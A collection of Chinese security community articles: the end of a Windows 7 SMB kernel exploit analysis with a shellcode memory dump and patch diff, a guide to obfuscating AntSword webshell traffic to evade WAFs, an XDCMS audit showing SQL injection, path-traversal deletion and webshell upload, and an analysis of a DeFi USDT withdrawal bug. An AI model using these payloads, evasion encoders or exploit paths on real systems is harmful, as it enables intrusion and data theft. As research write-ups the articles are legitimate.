这块内存是系统预留的，里面保存了系统的一些信息，像时钟，版本，配置之类。注意这个地址在win10下是不可以执行的。所以这个利用方法在win10下是不可用的。
win7
kd> !pte ffdff000
VA ffdff000
PDE at C0603FF0 PTE at C07FEFF8
contains 000000000018A063 contains 00000000001E3163
pfn 18a ---DA--KWEV pfn 1e3 -G-DA--KWEV //E表示可执行
覆盖完之后是这样。
kd> db ffdff000 l1000
ffdff000 00 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00 ................
ffdff010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff020 00 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00 ................
ffdff030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff080 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff090 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff0a0 b0 00 d0 ff ff ff ff ff-b0 00 d0 ff ff ff ff ff ................
ffdff0b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff0c0 c0 f0 df ff c0 f0 df ff-00 00 00 00 00 00 00 00 ................
ffdff0d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff0e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff0f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff100 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff110 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff180 00 00 00 00 00 00 00 00-00 00 00 00 90 f1 df ff ................
ffdff190 00 00 00 00 f0 f1 df ff-00 00 00 00 00 00 00 00 ................
ffdff1a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff1b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff1c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffdff1d0 00 00 00 00 00 00 00 00-f0 01 d0 ff ff ff ff ff ................
ffdff1e0 00 00 00 00 00 00 00 00-00 02 d0 ff ff ff ff ff ................
ffdff1f0 00 31 c0 40 90 74 08 e8-09 00 00 00 c2 24 00 e8 [email protected].......$..
ffdff200 a7 00 00 00 c3 e8 01 00-00 00 eb 90 5b b9 76 01 ............[.v.
ffdff210 00 00 0f 32 a3 fc ff df-ff 8d 43 17 31 d2 0f 30 ...2......C.1..0
ffdff220 c3 b9 23 00 00 00 6a 30-0f a1 8e d9 8e c1 64 8b ..#...j0......d.
ffdff230 0d 40 00 00 00 8b 61 04-ff 35 fc ff df ff 60 9c [email protected]....`.
ffdff240 6a 23 52 9c 6a 02 83 c2-08 9d 80 4c 24 01 02 6a j#R.j......L$..j
ffdff250 1b ff 35 04 03 df ff 6a-00 55 53 56 57 64 8b 1d ..5....j.USVWd..
ffdff260 1c 00 00 00 6a 3b 8b b3-24 01 00 00 ff 33 31 c0 ....j;..$....31.
ffdff270 48 89 03 8b 6e 28 6a 01-83 ec 48 81 ed 9c 02 00 H...n(j...H.....
ffdff280 00 a1 fc ff df ff b9 76-01 00 00 31 d2 0f 30 fb .......v...1..0.
ffdff290 e8 11 00 00 00 fa 64 8b-0d 40 00 00 00 8b 61 04 [email protected].
ffdff2a0 83 ec 28 9d 61 c3 e9 ef-00 00 00 b9 82 00 00 c0 ..(.a...........
ffdff2b0 0f 32 48 bb f8 0f d0 ff-ff ff ff ff 89 53 04 89 .2H..........S..
ffdff2c0 03 48 8d 05 0a 00 00 00-48 89 c2 48 c1 ea 20 0f .H......H..H.. .
0xffdff1f1处为shellcode.最后在接收完成后，最终调到srvnet!SrvNetWskReceiveComplete.在这个函数中会调用最终的shellcode。可以这么下断点:
srvnet!SrvNetWskReceiveComplete:
986e9569 8bff mov edi,edi
986e956b 55 push ebp
986e956c 8bec mov ebp,esp
986e956e 8b450c mov eax,dword ptr [ebp+0Ch]
986e9571 8b4818 mov ecx,dword ptr [eax+18h]
986e9574 53 push ebx
986e9575 8b581c mov ebx,dword ptr [eax+1Ch]
986e9578 56 push esi
986e9579 8b7510 mov esi,dword ptr [ebp+10h]
986e957c 57 push edi
986e957d 8b7e24 mov edi,dword ptr [esi+24h]
986e9580 50 push eax
986e9581 894d0c mov dword ptr [ebp+0Ch],ecx
986e9584 c6451300 mov byte ptr [ebp+13h],0
986e9588 ff1518106f98 call dword ptr [srvnet!_imp__IoFreeIrp (986f1018)]
986e958e 33c0 xor eax,eax
986e9590 39450c cmp dword ptr [ebp+0Ch],eax
986e9593 7553 jne srvnet!SrvNetWskReceiveComplete+0x7f (986e95e8)
kd> .reload srvnet.sys
kd> ba e1 srvnet!SrvNetWskReceiveComplete+0x13 ".if(poi(esi+0x24) == ffdff020) {} .else {gc}"
最终调用到shellcode的调用栈为：
# ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 83f6c2e0 986ea290 00000000 00000000 00000420 0xffdff1f1
01 83f6c330 986e8204 ffdff020 00001068 00001068 srvnet!SrvNetCommonReceiveHandler+0x94 (FPO: [Non-Fpo])
02 83f6c370 986e95db ffdff020 00000001 870cb26b srvnet!SrvNetIndicateData+0x73 (FPO: [Non-Fpo])
03 83f6c38c 83ebaf83 00000000 02000000 019bd010 srvnet!SrvNetWskReceiveComplete+0x72 (FPO: [Non-Fpo])
04 83f6c3d0 8998db8c 865fd020 83f6c454 89661c8a nt!IopfCompleteRequest+0x128
05 83f6c3dc 89661c8a 870cb1f8 00000000 00001068 afd!WskProTLReceiveComplete+0x5e (FPO: [Non-Fpo])
06 83f6c454 8964d839 865fd020 00000000 8841a608 tcpip!TcpCompleteClientReceiveRequest+0x1c (FPO: [Non-Fpo])
07 83f6c4c0 8964d8be 8841a608 8841a700 00000000 tcpip!TcpFlushTcbDelivery+0x1f6 (FPO: [Non-Fpo])
08 83f6c4dc 8965af7f 8841a608 00000000 83f6c5d0 tcpip!TcpFlushRequestReceive+0x1c (FPO: [Non-Fpo])
09 83f6c518 8965ae47 8841a608 8841a608 83f6c5a8 tcpip!TcpDeliverFinToClient+0x37 (FPO: [Non-Fpo])
0a 83f6c528 896abfc1 8841a608 83f6c688 8841a608 tcpip!TcpAllowFin+0x86 (FPO: [Non-Fpo])
0b 83f6c5a8 896aa5a5 86f8c078 8841a608 83f6c5d0 tcpip!TcpTcbCarefulDatagram+0x16f2 (FPO: [Non-Fpo])
0c 83f6c614 8968da38 86f8c078 8841a608 00f6c688 tcpip!TcpTcbReceive+0x22d (FPO: [Non-Fpo])
0d 83f6c67c 8968e23a 8656b9b8 86f9657c 86f965f0 tcpip!TcpMatchReceive+0x237 (FPO: [Non-Fpo])
0e 83f6c6cc 8965dd90 86f8c078 86f9600c 00003d08 tcpip!TcpPreValidatedReceive+0x263 (FPO: [Non-Fpo])
0f 83f6c6e0 89693396 83f6c6fc 00000011 86f96008 tcpip!TcpNlClientReceivePreValidatedDatagrams+0x15 (FPO: [Non-Fpo])
10 83f6c704 896938dd 83f6c710 00000000 00000011 tcpip!IppDeliverPreValidatedListToProtocol+0x33 (FPO: [Non-Fpo])
11 83f6c7a0 89698a7b 8665d918 00000000 83f79480 tcpip!IpFlcReceivePreValidatedPackets+0x479 (FPO: [Non-Fpo])
12 83f6c7c8 83ecbb95 00000000 ee2bb116 865bab48 tcpip!FlReceiveNetBufferListChainCalloutRoutine+0xfc (FPO: [Non-Fpo])
13 83f6c830 89698c0b 8969897f 83f6c858 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132
14 83f6c86c 8951f18d 8665d002 87773900 00000000 tcpip!FlReceiveNetBufferListChain+0x7c (FPO: [Non-Fpo])
15 83f6c8a4 8950d5be 8665eaa8 87773988 00000000 ndis!ndisMIndicateNetBufferListsToOpen+0x188 (FPO: [Non-Fpo])
16 83f6c8cc 8950d4b2 00000000 87773988 871650e0 ndis!ndisIndicateSortedNetBufferLists+0x4a (FPO: [Non-Fpo])
17 83f6ca48 894b8c1d 871650e0 00000000 00000000 ndis!ndisMDispatchReceiveNetBufferLists+0x129 (FPO: [Non-Fpo])
18 83f6ca64 8950d553 871650e0 87773988 00000000 ndis!ndisMTopReceiveNetBufferLists+0x2d (FPO: [Non-Fpo])
19 83f6ca8c 894b8c78 871650e0 87773988 00000000 ndis!ndisMIndicateReceiveNetBufferListsInternal+0x62 (FPO: [Non-Fpo])
1a 83f6cab4 903ab7f4 871650e0 87773988 00000000 ndis!NdisMIndicateReceiveNetBufferLists+0x52 (FPO: [Non-Fpo])
1b 83f6cafc 903aa77e 00000000 87792660 00000001 E1G60I32!RxProcessReceiveInterrupts+0x108 (FPO: [Non-Fpo])
1c 83f6cb14 8950d89a 011e9138 00000000 83f6cb40 E1G60I32!E1000HandleInterrupt+0x80 (FPO: [Non-Fpo])
1d 83f6cb50 894b8a0f 87792674 00792660 00000000 ndis!ndisMiniportDpc+0xe2 (FPO: [Non-Fpo])
1e 83f6cb78 83eba696 87792674 87792660 00000000 ndis!ndisInterruptDpc+0xaf (FPO: [Non-Fpo])
1f 83f6cbd4 83eba4f8 83f6fe20 83f79480 00000000 nt!KiExecuteAllDpcs+0xfa
20 83f6cc20 83eba318 00000000 0000000e 00000000 nt!KiRetireDpcList+0xd5
21 83f6cc24 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x38 (FPO: [0,0,0])
**关于补丁**
微软在补丁中并没有补掉漏洞的代码而是在上层过滤了触发漏洞的一个Type。
补丁修补的逻辑在srv!ExecuteTransaction
修补前：
int __thiscall ExecuteTransaction(int this)
{
//略...
if ( *(_DWORD *)(v3 + 0x50) >= 1u && v10 <= 0x11 )
{
v2 = SrvTransaction2DispatchTable[v10](this); //这里进入派发函数
if ( BYTE1(WPP_GLOBAL_Control->Flags) >= 2u
&& WPP_GLOBAL_Control->Characteristics & 1
&& KeGetCurrentIrql() < 2u
&& v2
&& (PDEVICE_OBJECT *)WPP_GLOBAL_Control != &WPP_GLOBAL_Control )
{
WPP_SF_(WPP_GLOBAL_Control->AttachedDevice, WPP_GLOBAL_Control->CurrentIrp);
}
goto LABEL_104;
}
//goto error
//略...
}
修复后：
int __thiscall ExecuteTransaction(int this)
{
//略...
if ( *(_DWORD *)(v3 + 0x50) < 2u )
{
_SrvSetSmbError2(0, 464, "onecore\base\fs\remotefs\smb\srv\srv.downlevel\smbtrans.c");
SrvLogInvalidSmbDirect(v1, v10);
goto LABEL_109;
}
if ( v11 <= 0x11 )
{
v2 = SrvTransaction2DispatchTable[v11](v1);
if ( BYTE1(WPP_GLOBAL_Control->Flags) >= 2u
&& WPP_GLOBAL_Control->Characteristics & 1
&& KeGetCurrentIrql() < 2u
&& v2
&& (PDEVICE_OBJECT *)WPP_GLOBAL_Control != &WPP_GLOBAL_Control )
{
WPP_SF_(WPP_GLOBAL_Control->AttachedDevice, WPP_GLOBAL_Control->CurrentIrp);
}
goto LABEL_108;
}
//goto error
//略...
}
修补的方法就是将修补*(WORD*)v6 ==> *(DWORD*)v6; 还有就是*(_DWORD *)(v3 + 0x50) >= 1 变成了
*(_DWORD *)(v3 + 0x50) >= 2u 笔者在调试的时候发现触发漏洞的正好是1。
由于作者水平有限，有什么错误欢迎大家指出
联系作者：[ **pgboy1988**](http://weibo.com/pgboy1988) | 社区文章 |
# 1.前言
最近做渗透测试的过程中经常会用到webshell，在前段时间阅读了dalao的"从静态到动态打造一款免杀的antSword(蚁剑)"一文
https://xz.aliyun.com/t/4000
便着手开始跟着文章进行修改。(p.s 虽然冰蝎的加密十分优秀，不过其不开源、返回包不混淆等特点还是略显无趣)
然而，笔者在修改的过程中发现了一些原作者未考虑到的环节，特此提出与大家探讨。若有偏差，纯属本人技术菜鸡。
# 2.关于请求包混淆
原题主采用自定义编码器的方式进行请求包流量混淆，编码器源码如下：
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let num = Math.floor(Math.random()*15);
let randomStr = `${Math.random().toString(16).substr(num)}`;
// 原有的 payload 在 data['_']中
// 取出来之后，转为 base64 编码并放入 randomID key 下
let encry= new Buffer(data['_']).toString('base64');
data['num'] = 15-num;
// shell 在接收到 payload 后，先处理 pwd 参数下的内容，
data[pwd] = `${randomStr}`+encry+`${randomStr}`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
编码器是没问题的，但是在测试的过程中，原文笔者仅通过蚁剑内的测试连接进行测试，而未进行类似于命令执行等功能测试，笔者的测试混淆前后请求包如下两图：
由图可以看出，执行命令数据包比测试包多了两个参数。而那两个参数是不经过编码器的，其参数名和参数值的base64decode值均有可能被识别。
所以，在此基础上，通过了解蚁剑对应的源码文件，找到了以下解决方案来解决对请求包的混淆。（仅限于php）
出来主要参数外，其余两个参数仅仅通过base64编码操作，在antSword-2.1.4\source\core文件夹内的base.js内有该编码操作对应的代码：
作为参考，我把该处加密过程改为双重base64(仅为可行性参考，后期可在对应位置添加其余加密方式作为混淆操作)，如下图：
编码位置了解完了，接下来是解码的问题，为了数据传输可被识别，该处编码的修改需被正确解码，此时就需要修改antSword-2.1.4\source\core\php\template文件夹内的js文件了，我们以command.js为例，其余文件均用类似方法修改，如图：
注意，仅需要对通过base64编码后的参数，如图中的arg1/arg2对应post位置进行解码方式修改，在下图filemanager.js对应的方框内的参数只进行了buffer操作未进行base64，则不需要被修改：
修改后的数据包如下图：
可见红框对应的两个参数的值已经过了双重base64的编码处理。并且经测试如果template中的文件修改无误后可得到正确的返回结果了。
接下来对请求包进行最后一步混淆操作，即对参数名进行混淆。在查询资料的过程中，发现许多waf对蚁剑的识别方式为识别0x开头的字符串参数名。若要修改该参数名称，需要修改antSword-2.1.4\source\core\base.js的对应位置，如下图：
即可。
以上则为笔者对于蚁剑请求包的混淆处理方法（具体加密编码流程仅作为示范）。
# 3.关于返回包混淆
返回包的混淆对应的情况则简单的多，只需要按照蚁剑规范编写相对应的解码器即可。
如下为自带的base64解码器参考：
/**
* php::base64解码器
* Create at: 2019/07/20 20:54:42
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
该解码器主要分为两部分，shell中返回值的编码以及在loader中的解码操作。其中，编码的语法需遵循shell对应语言的语法（此处为php），而解码操作则为蚁剑的jsp语法。
以下给出一个我修改的aes-128解码器代码作为参考：
/**
* php::AES-128-ECB 解码器
* Create at: 2019/05/13 15:43:55
*/
'use strict';
const path = require('path');
var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));
function decryptText(keyStr, text) {
let buff = Buffer.alloc(16, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let decodetext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7,
}).toString(CryptoJS.enc.Utf8);
return decodetext;
}
function encryptText(keyStr, text) {
let buff = Buffer.alloc(16, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7,
}).toString();
return encodetext;
}
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
// 默认是 pkcs7 padding
return `function asenc($out){
@session_start();
$key='f5045b05abe6ec9b1e37fafa851f5de9';
return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};
`.replace(/\n\s+/g, '');
},
/**
* 解码字符串
* @param {string} data 要被解码的字符串
* @returns {string} 解码后的字符串
*/
decode_str: (data) => {
if(data.length === 0) {
return data;
}
let keyStr = '1111111111111111';
let ret = decryptText(keyStr, data);
return Buffer.from(ret, 'base64').toString();
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data) => {
if(data.length === 0) {
return data;
}
let keyStr ='1111111111111111';
let ret = decryptText(keyStr, Buffer.from(data).toString());
return Buffer.from(ret, 'base64');
}
}
以上则为本文全部内容。水平不高请见谅。 | 社区文章 |
对于我自己来说没有采用MVC架构的cms，我比较喜欢直接从源码入手看看整个项目的逻辑以及公共函数文件看是否有啥可利用，然后就是采用黑白盒进行测试。
这个cms拿来作为新手入门也是蛮不错的啦 架构也没框架那么复杂~
看看整个项目的目录结构
先来看看整个项目公共函数的过滤等
根据入口文件查找一些相关config等（这个utf8就已经把宽字节排除在外咯
跟进到fun.inc.php文件过滤有没有不严谨的，若存在绕过的话那十有八九就存在问题了
//安全过滤函数
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}
这里safe_replace()进行一些防护过滤一些危险字符，而safe_html防护sql注入，不过虽然过滤了但是可以利用大小写进行绕过，即只要带入数据库查询的地方利用此函数就会存在sql注入（但是safe_replace我实在是绕不过555
## 重装
安装成功后会生成一个文件锁，且重新访问安装路径会先判断文件锁是否存在（且在进行安装时会判断文件锁是否存在），且在登陆后台过后整个install文件夹会被强制删除…除非找到任意文件删除
## sql注入
全局搜索safe_html,很多地方都调用了
但不是所以都存在注入，因为有些地方存在safe_replace与invtal的保护index.php?m=member&f=login_save
没办法绕过，且xdcms会员管理界面（但是我们暂时不能利用，因为实际我们不知道管理后台账号
member会员界面（单引号包裹且传参只经过safe_html过滤..且开启了报错提示,那就可用报错注入）可以利用报错注入，只要是只将safe_html带入数据库的查询则存在注入
这样就能查询出admin表里面的管理员信息。
/system/module/member/index
public function login_save(){
$username = safe_html($_POST['username']);
$password = safe_html($_POST['password']);
if(empty($username)||empty($password)){
showmsg(C('user_pass_empty'),'-1');
}
$sql="select * from ".DB_PRE."member where `username`='$username'";
if($this->mysql->num_rows($sql)==0){
showmsg(C('member_not_exist'),'-1');
}
$password=md5(md5($password));
$rs=$this->mysql->get_one($sql);
if($password!=$rs['password']){
showmsg(C('password_error'),'-1');
}
if($rs['is_lock']==1){
showmsg(C('user_lock'),'-1');
}
还有多处存在此注入
## 任意文件删除
全局搜file_get_contents意外收获了unlink任意目录文件删除index.php?m=xdcms&c=data&f=delete&file=../../test
public function delete(){
$file=trim($_GET["file"]);
$dir=DATA_PATH.'backup/'.$file;
if(is_dir($dir)){
//删除文件夹中的文件
if (false != ($handle = opendir ( $dir ))) {
while ( false !== ($file = readdir ( $handle )) ) {
if ($file != "." && $file != ".."&&strpos($file,".")) {
@unlink($dir."/".$file);
}
}
closedir ( $handle );
}
@rmdir($dir);//删除目录
}
showmsg(C('success'),'-1');
}
这传入的参数没有过滤也没有白名单，直接拼接进dir，要想触发循环就得进行if判断，所以这里只能是../进行目录遍历可控进行任意文件夹删除
## 文件上传
跟着uploadfile文件夹寻找文件上传点，对上传文件后缀进行了限制。
利用admin后台限制的文件格式更改即可上传木马getshell，也可利用上传文件后进行修改后缀。system/function/upload.inc.php（文中有多个文件上传的点
利用admin后台权限修改上传文件格式即可
我感觉不是mvc模式的话 整个项目的逻辑还是蛮清晰的，建议黑白盒审计，但是本人对大结构的框架还是晕晕的：）继续学习！ | 社区文章 |
**作者：昏鸦,Al1ex**
**时间：2020年9月16日**
### 事件起因
2020年9月14日晚20:00点，未经安全审计的波场最新Defi项目Myrose.finance登陆Tokenpocket钱包，首批支持JST、USDT、SUN、DACC挖矿，并将逐步开通ZEUS、PEARL、CRT等的挖矿，整个挖矿周期将共计产出8400枚ROSE，预计将分发给至少3000名矿工，ROSE定位于波场DeFi领域的基础资产，不断为持有者创造经济价值。
项目上线之后引来了众多的用户(高达5700多人)参与挖矿，好景不长，在20:09左右有用户在Telegram"Rose中文社区群"中发文表示USDT无法提现：
截止发文为止，无法提现的USDT数量高达6,997,184.377651 USDT(约700万USDT)，随后官方下线USDT挖矿项目。
<https://tronscan.io/#/contract/TM9797VRM66LyKXq2TbxP1sNmuQWBrsnYw/token-balances>
### 分析复现
我们直接通过模拟合约在remix上测试。
USDT模拟测试合约代码如下，USDT_Ethereum和USDT_Tron分别模拟两个不同平台的USDT代币合约，分别代表`transfer`函数有显式`return
true`和无显式`return true`
pragma solidity ^0.5.0;
import "IERC20.sol";
import "SafeMath.sol";
contract USDT_Ethereum is IERC20 {
using SafeMath for uint256;
uint256 internal _totalSupply;
mapping(address => uint256) internal _balances;
mapping (address => mapping (address => uint)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint value);
constructor() public {
_totalSupply = 1 * 10 ** 18;
_balances[msg.sender] = _totalSupply;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function mint(address account, uint amount) external {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _transfer(address _from ,address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value <= _balances[msg.sender]);
_balances[_from] = _balances[_from].sub(_value, "ERC20: transfer amount exceeds balance");
_balances[_to] = _balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transfer(address to, uint value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;//显式return true
}
function transferFrom(address from, address to, uint value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowances[from][msg.sender].sub(value, "ERC20: transfer amount exceeds allowance"));
return true;
}
}
contract USDT_Tron is IERC20 {
using SafeMath for uint256;
uint256 internal _totalSupply;
mapping(address => uint256) internal _balances;
mapping (address => mapping (address => uint)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint value);
constructor() public {
_totalSupply = 1 * 10 ** 18;
_balances[msg.sender] = _totalSupply;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function mint(address account, uint amount) external {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _transfer(address _from ,address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value <= _balances[msg.sender]);
_balances[_from] = _balances[_from].sub(_value, "ERC20: transfer amount exceeds balance");
_balances[_to] = _balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transfer(address to, uint value) public returns (bool) {
_transfer(msg.sender, to, value);
//return true;//无显式return,默认返回false
}
function transferFrom(address from, address to, uint value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowances[from][msg.sender].sub(value, "ERC20: transfer amount exceeds allowance"));
return true;
}
}
Myrose模拟测试合约代码如下：
pragma solidity ^0.5.0;
import "IERC20.sol";
import "Address.sol";
import "SafeERC20.sol";
import "SafeMath.sol";
contract Test {
using Address for address;
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 internal _totalSupply;
mapping(address => uint256) internal _balances;
constructor() public {
_totalSupply = 1 * 10 ** 18;
_balances[msg.sender] = _totalSupply;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function withdraw(address yAddr,uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
IERC20 y = IERC20(yAddr);
y.safeTransfer(msg.sender, amount);
}
}
Remix部署`USDT_Ethereum`、`USDT_Tron`、`Test`三个合约。
调用USDT_Ethereum和USDT_Tron的`mint`函数给Test合约地址增添一些代币。
然后调用Test合约的`withdraw`函数提现测试。
可以看到`USDT_Ethereum`提现成功，`USDT_Tron`提现失败。
失败的回滚信息中，正是`safeTransfer`函数中对最后返回值的校验。
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");//require校验返回的bool数值，false则回滚，提示操作失败
}
}
### Missing Return Value Bug
上文的合约模拟实验揭示了以太坊与波场两个不同平台下USDT代币合约中transfer函数关于返回值处理差异性带来的安全风险，而关于"missing
return value bug"这一个问题，早在2018年就有研究人员在Medium上公开讨论过，只不过是针对以太坊的，这里对以太坊中的"missing
return value bug"问题做一个简单的介绍：
ERC20标准是以太坊平台上最常见的Token标准，ERC20被定义为一个接口，该接口指定在符合ERC20的智能合同中必须实现哪些功能和事件。目前，主要的接口如下所示：
interface ERC20Interface {
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
在ERC20的开发过程中，有研究人员对于ERC20合约中的transfer函数的正确返回值进行了讨论，主要分为两个阵营：一方认为，如果transfer函数允许在调用合约中处理Failed
error，那么应该在被调用合约中返回false值，另一方声称，在无法确保安全的情况下，ERC20应该revert交易，关于这个问题在当时被认为都是符合ERC20标准的，并未达成一致。
事实证明，很大比例的ERC20
Token在传递函数的返回值方面表现出了另一种特殊的方式，有些智能合约的Transfer函数不返回任何东西，对应的函数接口大致如下：
interface BadERC20Basic {
function balanceOf(address who) external constant returns (uint);
function transfer(address to, uint value) external;
function allowance(address owner, address spender) external constant returns (uint);
function transferFrom(address from, address to, uint value) external;
function approve(address spender, uint value) external;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
那么符合ERC20标准的接口的合约试图与不符合ERC20的合约进行交互，会发生什么呢？下面我们通过一个合约示例来做解释说明：
interface Token {
function transfer() returns (bool);
}
contract GoodToken is Token {
function transfer() returns (bool) { return true; }
}
contract BadToken {
function transfer() {}
}
contract Wallet {
function transfer(address token) {
require(Token(token).transfer());
}
}
在solidity中，函数选择器是从它的函数名和输入参数的类型中派生出来的：
selector = bytes4(sha3(“transfer()”))
函数的返回值不是函数选择器的一部分，因此，没有返回值的函数transfer()和函数transfer()返回(bool)具有相同的函数选择器，但它们仍然不同，由于缺少返回值，编译器不会接受transfer()函数作为令牌接口的实现，所以Goodtoken是Token接口的实现，而Badtoken不是。
当我们通过合约去外部调用BadToken时，Bad
token会处理该transfer调用，并且不返回布尔返回值，之后调用合约会在内存中查找返回值，但是由于被调用的合约中的Transfer函数没有写返回值，所以它会将在这个内存位置找到的任何内容作为外部调用的返回值。
